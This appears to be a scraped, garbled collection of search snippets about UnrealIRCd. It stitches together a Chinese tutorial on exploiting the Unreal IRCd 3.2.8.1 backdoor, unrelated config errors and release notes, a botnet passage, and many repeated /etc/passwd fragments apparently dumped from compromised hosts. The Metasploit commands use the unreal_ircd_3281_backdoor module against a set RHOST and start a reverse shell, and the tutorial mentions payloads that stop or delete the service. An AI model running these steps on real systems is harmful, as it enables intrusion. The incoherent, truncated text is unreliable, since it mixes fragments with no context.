Unreal IRCD 3.2.8.1 漏洞评估 Searchsploit 我们在 kali 上使用如下命令: searchsploit unreal ircd 3.2.8.1 我们可以看到,该版本的 手动利用 Unreal IRCd 在接下来,我们将使用从 searchsploit 和 Exploit-db获取的 exploit ,来对 Unreal IRCd service 进行利用。 Payload 4:停止 Unreal IRCD 服务。 Payload 5:从服务器上删除 Unreal IRCD 服务。 Metasploit 之 Unreal IRCD 3.2.8.1 漏洞利用 下面我们来使用 Metasploit 来进行 Unreal IRCD backdoor 的利用。 我们启动 msfconsole ,并搜索 Unreal IRCD 相关利用模块: search Unreal IRCD 使用选中模块: use exploit/unix/irc/unreal_ircd_
v4.0.2 using TRE 0.8.0 (BSD) using OpenSSL 1.0.1e-fips 11 Feb 2013 Loading IRCd 386: set::kline-address must be an e-mail or an URL config error: 5 errors encountered config error: IRCd v4.0.2 using TRE 0.8.0 (BSD) using OpenSSL 1.0.1e-fips 11 Feb 2013 Loading IRCd Dynamic configuration initialized.. booting IRCd.
v4.0.2 using TRE 0.8.0 (BSD) using OpenSSL 1.0.1e-fips 11 Feb 2013 Loading IRCd Dynamic configuration initialized.. booting IRCd. [root@h104 unrealircd]# [root@h104 unrealircd]# ps faux | grep ircd | grep -v grep root 27340 0.0
On *NIX the directory where you compile the IRCd from (previously 'Unreal3.2.X', now 'unrealircd-4.0. X') is no longer the same as the directory where the IRCd will be running from. By default the IRCd is installed to /home/yourusername/unrealircd on *NIX On Windows UnrealIRCd will [A3] * The IRCd can now better handle unknown channel modes which expect a parameter. [3000000] -> How many file descriptors (or sockets) can the IRCd use?
报错 Loading IRCd configuration.. config error: /root/unrealircd/conf/unrealircd.conf:144: please change 386: set::kline-address must be an e-mail or an URL config error: 5 errors encountered config error: IRCd
backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd :/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd :/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin
On *NIX the directory where you compile the IRCd from (previously 'Unreal3.2.X', now 'unrealircd-4.0. X') is no longer the same as the directory where the IRCd will be running from. By default the IRCd is installed to /home/yourusername/unrealircd on *NIX On Windows UnrealIRCd will [A3] * The IRCd can now better handle unknown channel modes which expect a parameter. [3000000] -> How many file descriptors (or sockets) can the IRCd use?
接着IRC服务器(也叫做IRC邮件收发后台服务器,简称IRCd)将会提供渠道用户名单。但是绝大多数的僵尸牧者都会改进IRCd来发送渠道操作人员来减少流量以及将僵尸病毒的数量伪藏起来。 除此之外,我们还发现了一些其它很有趣的现象:只有初学者才使用IRCd部署僵尸网络。 有两种不同的IRC服务器软件的执行通常为僵尸网络所利用:虚拟IRCd和会议室(ConferenceRoom) : 虚拟IRCd (http://www.unrealircd.com/)是一个跨站平台, 我们最近观察到的一种新的win32二进位只是一种虚拟IRCd经过高度修正的版本,它被剥离和优化了一些特征。 能够看到IP就意味着IRCd并没有经过修正不向我们发送join (用子目录名取代驱动器符)信息。如果IRCd经过修正而不显示通道中参与的客户机的话,我们就不会看到IP地址。
backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd :/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr
/unrealircd.conf diff conf/examples/example.conf conf/unrealircd.conf bin/unrealircd ps faux | grep ircd
backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd :/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr
var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd :/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/
backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd :/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr
backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd :/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr
x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd :/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody
backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd :/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr
msfconsole msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(unreal_ircd_3281_backdoor ) > set RHOST 192.168.99.131 msf exploit(unreal_ircd_3281_backdoor) > exploit [*] Started reverse double
backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd :/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr
backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd :/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr
home directory is /var/backups list's home directory is /var/list irc's home directory is /var/run/ircd